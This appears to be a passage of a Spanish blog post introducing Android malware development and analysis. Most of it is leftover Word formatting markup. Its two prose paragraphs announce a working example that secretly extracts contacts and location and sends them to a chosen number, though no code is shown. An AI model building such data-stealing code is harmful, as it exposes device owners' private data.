UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
<br />
<div class="MsoNormal">
<span style="mso-ansi-language: ES;">Esta nueva entrada del
blog mostrará lo sencillo que puede resultar desarrollar/analizar malware para
dispositivos Android, sobre todo si se dispone de algunos conocimientos de
programación en Java. No es necesario ser ningún gurú de la programación ni
nada por el estilo, sólo dedicarle unas horas para aprender los requisitos
necesarios para montar la infraestructura necesaria y para comprender la
estructura de las aplicaciones para dispositivos móviles.</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
<br />
<div class="MsoNormal">
<span style="mso-ansi-language: ES;">A lo largo de este post,
no se desarrollará ningún malware sofisticado ni nada por el estilo , nos
centraremos tanto en clarificar todo lo necesario para programar en
dispositivos Android, como en hacer un ejemplo funcional de código que extraiga
datos de un dispositivo android<span style="mso-spacerun: yes;"> </span>como los
datos de la agenda y la localización, para enviarlos al número que deseemos.</span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--></span></div>
<div class="MsoNormal">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
